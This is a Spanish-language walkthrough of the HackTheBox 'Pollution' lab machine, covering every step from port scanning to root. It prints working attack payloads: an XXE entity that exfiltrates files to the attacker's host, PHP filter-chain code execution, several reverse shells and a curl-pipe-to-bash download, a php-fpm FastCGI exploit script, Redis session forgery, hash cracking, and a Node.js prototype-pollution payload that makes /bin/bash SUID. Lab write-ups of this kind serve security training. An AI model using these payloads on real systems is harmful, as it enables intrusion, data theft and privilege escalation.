Pollution es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Pollution 10.10.11.192 a /etc/hosts como pollution.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -p- -sS --open --min-rate 5000 -n -vvv -Pn -oA enumeration/nmap1 10.10.11.192 Nmap scan report for 10.10.11.192 Host is up, received user-set (0.055s latency). Scanned at 2023-06-09 08:42:49 GMT for 13s Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 6379/tcp open redis syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Fri Jun 9 08:43:02 2023 -- 1 IP address (1 host up) scanned in 13.31 seconds |
Una vez descubiertos los puertos abiertos, lanzamos un escaneo completo sobre los mismos
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
nmap -sCV -p 22,80,6379 -oA enumeration/nmap2 10.10.11.192 Nmap scan report for 10.10.11.192 Host is up (0.039s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 db1d5c65729bc64330a52ba0f01ad5fc (RSA) | 256 4f7956c5bf20f9f14b9238edcefaac78 (ECDSA) |_ 256 df47554f4ad178a89dcdf8a02fc0fca9 (ED25519) 80/tcp open http Apache httpd 2.4.54 ((Debian)) |_http-server-header: Apache/2.4.54 (Debian) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: Home 6379/tcp open redis Redis key-value store Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Jun 9 08:43:50 2023 -- 1 IP address (1 host up) scanned in 20.33 seconds |
Enumeración
Accedemos al portal web y vemos la siguiente ventana
Revisamos el código fuente y vemos varias referencias al dominio collect.htb así que lo añadimos al fichero y hosts antes de continuar.
Seguimos revisando y vemos una pantalla de login y una de registro así que creamos una cuenta y accedemos a la aplicación
Seguimos revisando el portal y descubrimos que está permitida listar ficheros a través del navegador
Así que revisamos el contenido de cada directorio y vemos dos ficheros interesantes
El fichero /assets/js/delete_user.js
1 2 3 4 5 6 7 8 9 10 11 12 |
function delete_user($username){ var body = "delete_user="+$username; var http = new XMLHttpRequest(); http.open("POST","/admin",true); http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); http.send(body); setTimeout(function() { window.location.href = "/admin"; }, 50); }; |
Y el fichero assets/js/send_xml.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
function XMLFunction(){ var xml = '' + '<?xml version="1.0" encoding="UTF-8"?>' + '<root>' + '<method>POST</method>' + '<uri>/auth/register</uri>' + '<user>' + '<username>' + $('#username').val() + '</username>' + '<password>' + $('#password').val() + '</password>' + '</user>' + '</root>'; var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if(xmlhttp.readyState == 4){ const response = JSON.parse(xmlhttp.responseText); if(response.Status == "Ok") { alert("User registered successfully!"); }else{ alert("User registrar failed.\nCheck if this user already exists in the database."); } document.getElementById('errorMessage').innerHTML = xmlhttp.responseText; } } xmlhttp.open("POST","/api",true); xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xmlhttp.send('manage_api='+xml); }; |
En ambos vemos comportamientos de la aplicación que pueden ser de ayuda más adelante así que los guardamos para revisarlos en otro momento más en detalle.
No vemos mucho más por aquí así que seguimos enumerando y descubrimos dos subdominios
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$ gobuster vhost -w /data/tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u "collect.htb" --append-domain -t 50 =============================================================== Gobuster v3.5 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://collect.htb [+] Method: GET [+] Threads: 50 [+] Wordlist: /home/asdf/github/SecLists/Discovery/DNS/subdomains-top1million-110000.txt [+] User Agent: gobuster/3.5 [+] Timeout: 10s [+] Append Domain: true =============================================================== 2023/06/09 09:17:08 Starting gobuster in VHOST enumeration mode =============================================================== Found: forum.collect.htb Status: 200 [Size: 14098] Found: developers.collect.htb Status: 401 [Size: 469] =============================================================== 2023/06/09 09:19:37 Finished =============================================================== |
Accedemos a la página de developers, pero necesitamos auth que no tenemos
Vamos a la página de forum y nos encontramos un foro realizado con MyBB
Obtención de permisos de admin
Revisamos el portal, los usuarios, hilos, y vemos uno en el cual un usuario adjunta un fichero llamado proxy_history.txt en el cual se ven las diferentes peticiones capturadas con burpsuite
Revisamos a fondo el mismo y encontramos una petición interesante contra la uri /set/role/admin
Así que nos hacemos un pequeño script que decodifique todas las peticiones y nos las guarde en ficheros
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$ python3 get_content.py file request-9246 saved file response-9878 saved file request-1003 saved file response-4032 saved file request-7381 saved file response-6443 saved file request-2811 saved file response-126 saved file request-510 saved file response-5233 saved file request-6996 saved file response-9044 saved file request-9096 saved file response-4163 saved file request-9099 saved file response-1566 saved file request-3319 saved file response-8060 saved file request-6388 saved file response-2209 saved |
Y al revisar los mismos encontramos una petición para modificar el rol de un usuario a través de la api, y un token
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ cat request-1003 POST /set/role/admin HTTP/1.1 Host: collect.htb User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 38 token=ddac62a28254561001277727cb397baf |
Así que interceptamos la petición con burp, modificamos la cookie por la de nuestra sesión y añadimos el carácter % al final del token, completados los pasos enviamos la petición
Y conseguiremos acceder a la página de admin
Así que ahora que tenemos acceso a la sección de admin, hacemos scroll en la página y registraremos un usuario en la api
Completada esta parte, y para comunicarnos con la api, retomaremos los ficheros javascript que vimos al principio, en concreto el fichero send_xml.js
Explotando la API
Viendo el código javascript del fichero vemos como debemos hacer la petición y como debemos de montar nuestro fichero xml con el fin de poder explotar una vulnerabilidad de XXE.
Para ver como explotarlo nos fijaremos en el siguiente post de hacktricks.
Así que generamos nuestro fichero xml quedando así
1 2 3 4 5 6 7 8 9 10 |
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://10.10.14.10/exploit.dtd"> %xxe;]> <root> <method>POST</method> <uri>/auth/register</uri> <user> <username>test1</username> <password>test1</password> </user> </root> |
Generaremos entonces nuestro fichero dtd, que será quién le indique que debe de hacer a continuación
1 2 3 4 5 |
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=../../../../var/www/index.php"> <!ENTITY % abt "<!ENTITY % exfil SYSTEM 'http://10.10.14.10/?file=%data;'>"> %abt; %exfil; |
Una vez completados nuestros ficheros lanzaremos la petición post
Y si revisamos nuestra escucha tenemos el contenido del fichero
1 2 3 4 |
$ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.11.192 - - [09/Jun/2023 12:04:42] "GET /exploit.dtd HTTP/1.1" 200 - 10.10.11.192 - - [09/Jun/2023 12:04:42] "GET /?file=PD9waHAKCnJlcXVpcmUgJy4uL2Jvb3RzdHJhcC5waHAnOwoKdXNlIGFwcFxjbGFzc2VzXFJvdXRlczsKdXNlIGFwcFxjbGFzc2VzXFVyaTsKCgokcm91dGVzID0gWwogICAgIi8iID0+ICJjb250cm9sbGVycy9pbmRleC5waHAiLAogICAgIi9sb2dpbiIgPT4gImNvbnRyb2xsZXJzL2xvZ2luLnBocCIsCiAgICAiL3JlZ2lzdGVyIiA9PiAiY29udHJvbGxlcnMvcmVnaXN0ZXIucGhwIiwKICAgICIvaG9tZSIgPT4gImNvbnRyb2xsZXJzL2hvbWUucGhwIiwKICAgICIvYWRtaW4iID0+ICJjb250cm9sbGVycy9hZG1pbi5waHAiLAogICAgIi9hcGkiID0+ICJjb250cm9sbGVycy9hcGkucGhwIiwKICAgICIvc2V0L3JvbGUvYWRtaW4iID0+ICJjb250cm9sbGVycy9zZXRfcm9sZV9hZG1pbi5waHAiLAogICAgIi9sb2dvdXQiID0+ICJjb250cm9sbGVycy9sb2dvdXQucGhwIgpdOwoKJHVyaSA9IFVyaTo6bG9hZCgpOwpyZXF1aXJlIFJvdXRlczo6bG9hZCgkdXJpLCAkcm91dGVzKTsK HTTP/1.1" 200 - |
Si decodificamos el base64 obtenido obtenemos el fichero index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
$ echo "PD9waHAKCnJlcXVpcmUgJy4uL2Jvb3RzdHJhcC5waHAnOwoKdXNlIGFwcFxjbGFzc2VzXFJvdXRlczsKdXNlIGFwcFxjbGFzc2VzXFVyaTsKCgokcm91dGVzID0gWwogICAgIi8iID0+ICJjb250cm9sbGVycy9pbmRleC5waHAiLAogICAgIi9sb2dpbiIgPT4gImNvbnRyb2xsZXJzL2xvZ2luLnBocCIsCiAgICAiL3JlZ2lzdGVyIiA9PiAiY29udHJvbGxlcnMvcmVnaXN0ZXIucGhwIiwKICAgICIvaG9tZSIgPT4gImNvbnRyb2xsZXJzL2hvbWUucGhwIiwKICAgICIvYWRtaW4iID0+ICJjb250cm9sbGVycy9hZG1pbi5waHAiLAogICAgIi9hcGkiID0+ICJjb250cm9sbGVycy9hcGkucGhwIiwKICAgICIvc2V0L3JvbGUvYWRtaW4iID0+ICJjb250cm9sbGVycy9zZXRfcm9sZV9hZG1pbi5waHAiLAogICAgIi9sb2dvdXQiID0+ICJjb250cm9sbGVycy9sb2dvdXQucGhwIgpdOwoKJHVyaSA9IFVyaTo6bG9hZCgpOwpyZXF1aXJlIFJvdXRlczo6bG9hZCgkdXJpLCAkcm91dGVzKTsK"|base64 -d <?php require '../bootstrap.php'; use app\classes\Routes; use app\classes\Uri; $routes = [ "/" => "controllers/index.php", "/login" => "controllers/login.php", "/register" => "controllers/register.php", "/home" => "controllers/home.php", "/admin" => "controllers/admin.php", "/api" => "controllers/api.php", "/set/role/admin" => "controllers/set_role_admin.php", "/logout" => "controllers/logout.php" ]; $uri = Uri::load(); require Routes::load($uri, $routes); |
Sacaremos también el fichero bootstrap, donde observamos las credenciales del servicio de redis
1 2 3 4 5 6 7 |
<?php ini_set('session.save_handler','redis'); ini_set('session.save_path','tcp://127.0.0.1:6379/?auth=COLLECTR3D1SPASS'); session_start(); require '../vendor/autoload.php'; |
No podemos hacer mucho más por aquí por el momento así que seguimos buscando y encontramos unas credenciales del portal de developer en el fichero .htpasswd
1 2 |
$ echo "ZGV2ZWxvcGVyc19ncm91cDokYXByMSRNektBNXlYWSREd0V6Lmp4VzlVU1dvOC5nb0Q3alkxCg=="|base64 -d developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1 |
Desciframos la password con john
1 2 3 4 5 6 7 8 9 10 11 |
$ john htpasswd -w=/usr/share/wordlists/rockyou.txt Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status r0cket (developers_group) 1g 0:00:00:01 DONE (2023-06-09 12:18) 0.5347g/s 114481p/s 114481c/s 114481C/s rasfatata..puppyluver Use the "--show" option to display all of the cracked passwords reliably Session completed. |
Y accedemos al portal de developer donde vemos la siguiente ventana
Estamos ante un portal de login en el que no podemos hacer prácticamente nada, así que vamos a conectarnos a redis, y revisando las sesiones existentes vamos a modificar la nuestra para conseguir acceso.
Conectaremos a redis entonces y enviaremos la siguiente petición
1 2 |
pollution.htb:6379> SET PHPREDIS_SESSION:la1c5mfrualhpts3tsbspckpt7 "username|s:1:\"a\";role|s:5:\"admin\";auth|s:4:\"True\";" OK |
El siguiente paso será recargar la página y ya estaremos dentro del portal
Viendo el portal no parece que podamos hacer nada por aquí, pero si recordamos lo realizado anteriormente, la aplicación era vulnerable a un RCE explotando los filter chain de php por lo que vamos a google y encontramos el siguiente post que lo explica bastante bien.
Y la herramienta php_filter_chain_generator para generar nuestros payload.
Así que hacemos una pequeña prueba para ejecutar el comando id en el sistema y mandaremos el payload a través del parámetro page
1 |
$ python3 php_filter_chain_generator.py --chain '<?php system("id"); ?> ' |
Y observamos que funciona correctamente
Trataremos entonces de envíar una revshell con el siguiente payload
1 |
'<?php system("bash -i >& /dev/tcp/10.10.14.10/4444 0>&1"); ?> ' |
aunque nos da un error de que la petición de demasiado larga
Por lo que lo haremos enviando un fichero con nuestra shell y descargandolo en la máquina mediante curl.
Generamos entonces nuestro fichero
1 2 3 4 |
$ cat r #!/bin/bash bash -i >& /dev/tcp/10.10.14.10/4444 0>&1 |
Y nuestro payload
1 |
$ python3 php_filter_chain_generator.py --chain '<?=`curl 10.10.14.10/r | bash` ?>' |
Enviamos la petición y ahora sí que conseguimos acceder
1 2 3 4 5 6 7 8 9 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.10] from pollution.htb [10.10.11.192] 58994 bash: cannot set terminal process group (977): Inappropriate ioctl for device bash: no job control in this shell www-data@pollution:~/developers$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@pollution:~/developers$ |
Escalado al usuario victor
Revisamos los ficheros y encontramos unas credenciales de base de datos, aunque no podemos hacer mucho al respecto por ahora
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
www-data@pollution:~/collect$ cat config.php cat config.php <?php return [ "db" => [ "host" => "localhost", "dbname" => "webapp", "username" => "webapp_user", "password" => "Str0ngP4ssw0rdB*12@1", "charset" => "utf8" ], ]; |
Continuamos enumerando la máquina y observamos un puerto interesante
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
www-data@pollution:~/collect$ netstat -patun netstat -patun (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN - tcp 0 300 10.10.11.192:58994 10.10.14.10:4444 ESTABLISHED 2882/bash tcp6 0 0 :::22 :::* LISTEN - tcp6 0 0 ::1:6379 :::* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 ::1:52514 ::1:6379 ESTABLISHED 2879/sh tcp6 0 0 ::1:6379 ::1:52514 ESTABLISHED - udp 0 0 0.0.0.0:36429 0.0.0.0:* - udp 0 0 0.0.0.0:68 0.0.0.0:* - udp 0 0 0.0.0.0:5353 0.0.0.0:* - udp6 0 0 :::41027 :::* - udp6 0 0 :::5353 :::* - www-data@pollution:~/collect$ |
El puerto 9000 es el utilizado por defecto por fastcgi, en este caso lanzado por php-fpm, así que buscamos en google y encontramos un post que indica como explotar fastcgi
Revisamos que efectivamente corresponde al servicio php-fpm y es lanzado por el usuario victor
1 2 3 4 5 |
www-data@pollution:~/collect$ ps aux|grep victor ps aux|grep victor victor 1117 0.0 0.3 265840 15812 ? S 05:16 0:00 php-fpm: pool victor victor 1118 0.0 0.3 265840 15812 ? S 05:16 0:00 php-fpm: pool victor www-data 3178 0.0 0.0 3268 640 pts/0 S+ 09:29 0:00 grep victor |
Y modificaremos el script que muestra en el post para obtener una shell con el usuario, quedando así
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
#!/bin/bash PAYLOAD="<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 4445 >/tmp/f');" FILENAMES="/var/www/developers/index.php" # Exisiting file path HOST="localhost" B64=$(echo "$PAYLOAD"|base64) for FN in $FILENAMES; do OUTPUT=$(mktemp) env -i \ PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \ SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \ cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT cat $OUTPUT done |
El siguiente paso será ejecutarlo
1 2 |
www-data@pollution:/tmp$ ./fastcgi.sh ./fastcgi.sh |
Y tendremos una shell en nuestra escucha con el usuario victor
1 2 3 4 5 6 7 |
$ nc -lvp 4445 listening on [any] 4445 ... connect to [10.10.14.10] from pollution.htb [10.10.11.192] 36322 /bin/sh: 0: can't access tty; job control turned off $ id uid=1002(victor) gid=1002(victor) groups=1002(victor) $ |
Obteniendo la flag de user
Ahora que ya hemos conseguido escalar, vamos a la home del usuario y cogemos la flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ cd /home/victor $ ls -l total 40 drwxr-xr-x 2 victor victor 4096 Nov 21 2022 Desktop drwxr-xr-x 2 victor victor 4096 Nov 21 2022 Documents drwxr-xr-x 2 victor victor 4096 Nov 21 2022 Downloads drwxr-xr-x 2 victor victor 4096 Nov 21 2022 Music drwxr-xr-x 2 victor victor 4096 Nov 21 2022 Pictures drwxr-xr-x 2 victor victor 4096 Nov 21 2022 Public drwxr-xr-x 2 victor victor 4096 Nov 21 2022 Templates drwxr-xr-x 2 victor victor 4096 Nov 21 2022 Videos drwxr-xr-x 8 victor victor 4096 Nov 21 2022 pollution_api -rw-r----- 1 root victor 33 Jun 9 05:16 user.txt $ cat user.txt f5xxxxxxxxxxxxxxxxxxxxxxxxxxxa8 $ |
Escalado de privilegios
Por ganar persistencia y mejorar nuestra shell, creamos una clave y nos conectamos por ssh a la máquina.
Revisaremos entonces los puertos en escucha
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
victor@pollution:~$ netstat -ant Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN tcp 8 0 127.0.0.1:9000 127.0.0.1:54324 ESTABLISHED tcp 0 0 10.10.11.192:58994 10.10.14.10:4444 ESTABLISHED tcp 0 0 127.0.0.1:54324 127.0.0.1:9000 ESTABLISHED tcp 0 0 10.10.11.192:36322 10.10.14.10:4445 ESTABLISHED tcp 0 332 10.10.11.192:22 10.10.14.10:53984 ESTABLISHED tcp6 0 0 :::22 :::* LISTEN tcp6 0 0 ::1:6379 :::* LISTEN tcp6 0 0 :::80 :::* LISTEN tcp6 0 0 ::1:52514 ::1:6379 ESTABLISHED tcp6 0 0 ::1:6379 ::1:52514 ESTABLISHED victor@pollution:~$ |
Y vemos el puerto 3000, que corresponde a la api que utilizamos anteriormente.
Lanzamos un curl para ver que hay detrás y vemos que se trata de un node
1 2 3 4 5 6 7 8 9 |
victor@pollution:~$ curl localhost:3000 -I HTTP/1.1 200 OK X-Powered-By: Express Content-Type: application/json; charset=utf-8 Content-Length: 73 ETag: W/"49-ehqEAS+l7PrtR0pa73c0MCYhO/c" Date: Fri, 09 Jun 2023 13:38:39 GMT Connection: keep-alive Keep-Alive: timeout=5 |
Y además vemos que el servicio se ejecuta con el usuario root, por lo que puede ser nuestra forma de escalar privilegios
1 2 3 |
victor@pollution:~$ ps aux|grep node root 1360 0.0 1.9 1681032 76124 ? Sl 05:16 0:01 /usr/bin/node /root/pollution_api/index.js victor 3351 0.0 0.0 6268 700 pts/1 S+ 09:38 0:00 grep node |
Así que viendo las vulnerabilidades descubiertas anteriormente buscamos en google como llevar a cabo un envenenamiento sobre nodejs
Recuperamos las credenciales de la base de datos para revisar la misma
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
victor@pollution:~$ mysql -u webapp_user -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 448 Server version: 10.5.15-MariaDB-0+deb11u1 Debian 11 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | developers | | forum | | information_schema | | mysql | | performance_schema | | pollution_api | | webapp | +--------------------+ 7 rows in set (0.001 sec) MariaDB [(none)]> |
Revisamos el esquema pollution_api, más en concreto la tabla users del mismo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
MariaDB [(none)]> use pollution_api Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [pollution_api]> show tables; +-------------------------+ | Tables_in_pollution_api | +-------------------------+ | messages | | users | +-------------------------+ 2 rows in set (0.001 sec) MariaDB [pollution_api]> select * from users; +----+----------+----------+------+---------------------+---------------------+ | id | username | password | role | createdAt | updatedAt | +----+----------+----------+------+---------------------+---------------------+ | 1 | bytemind | bytemind | user | 2023-06-09 09:56:34 | 2023-06-09 09:56:34 | | 2 | test11 | test1 | user | 2023-06-09 11:59:39 | 2023-06-09 11:59:39 | +----+----------+----------+------+---------------------+---------------------+ 2 rows in set (0.000 sec) |
Y modificaremos el rol de nuestro usuario para que tenga permisos de admin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
MariaDB [pollution_api]> update users set role='admin' where username='bytemind'; Query OK, 1 row affected (0.001 sec) Rows matched: 1 Changed: 1 Warnings: 0 MariaDB [pollution_api]> select * from users; +----+----------+----------+-------+---------------------+---------------------+ | id | username | password | role | createdAt | updatedAt | +----+----------+----------+-------+---------------------+---------------------+ | 1 | bytemind | bytemind | admin | 2023-06-09 09:56:34 | 2023-06-09 09:56:34 | | 2 | test11 | test1 | user | 2023-06-09 11:59:39 | 2023-06-09 11:59:39 | +----+----------+----------+-------+---------------------+---------------------+ 2 rows in set (0.000 sec) MariaDB [pollution_api]> |
El siguiente paso será conectarnos a través de la api para obtener un token de acceso
1 2 |
victor@pollution:~$ curl -X POST localhost:3000/auth/login -H "content-type: application/json" -d '{"username":"bytemind","password":"bytemind"}' {"Status":"Ok","Header":{"x-access-token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYnl0ZW1pbmQiLCJpc19hdXRoIjp0cnVlLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2ODYzMTk0MTMsImV4cCI6MTY4NjMyMzAxM30.C4p3shJEMVSN5y1khZ42c5meVgEfD5v_S7J1ZeSkLwo"}} |
Y siguiendo el último post, enviaremos la siguiente petición para tratar de obtener permisos de suid en el binario de bash
1 2 |
victor@pollution:~$ curl -X POST localhost:3000/admin/messages/send -H "content-type: application/json" -H "x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYnl0ZW1pbmQiLCJpc19hdXRoIjp0cnVlLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2ODYzMTk0MTMsImV4cCI6MTY4NjMyMzAxM30.C4p3shJEMVSN5y1khZ42c5meVgEfD5v_S7J1ZeSkLwo" -d '{"text":{"constructor":{"prototype":{"shell":"/proc/self/exe","argv0":"console.log(require(\"child_process\").execSync(\"chmod u+s /bin/bash\").toString())//","NODE_OPTIONS":"--require /proc/self/cmdline"}}}}' {"Status":"Ok"} |
Una vez ejecutado, revisamos el fichero y vemos que se han aplicado los permisos
1 2 |
victor@pollution:~$ ls -l /bin/bash -rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash |
Obteniendo la flag de root
Completada esta parte, nos queda escalar a root y obtener nuestra flag
1 2 3 4 5 6 |
victor@pollution:~$ bash -p bash-5.1# id uid=1002(victor) gid=1002(victor) euid=0(root) groups=1002(victor) bash-5.1# cat /root/root.txt fbxxxxxxxxxxxxxxxxxxxxxxxxxxx60 bash-5.1# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace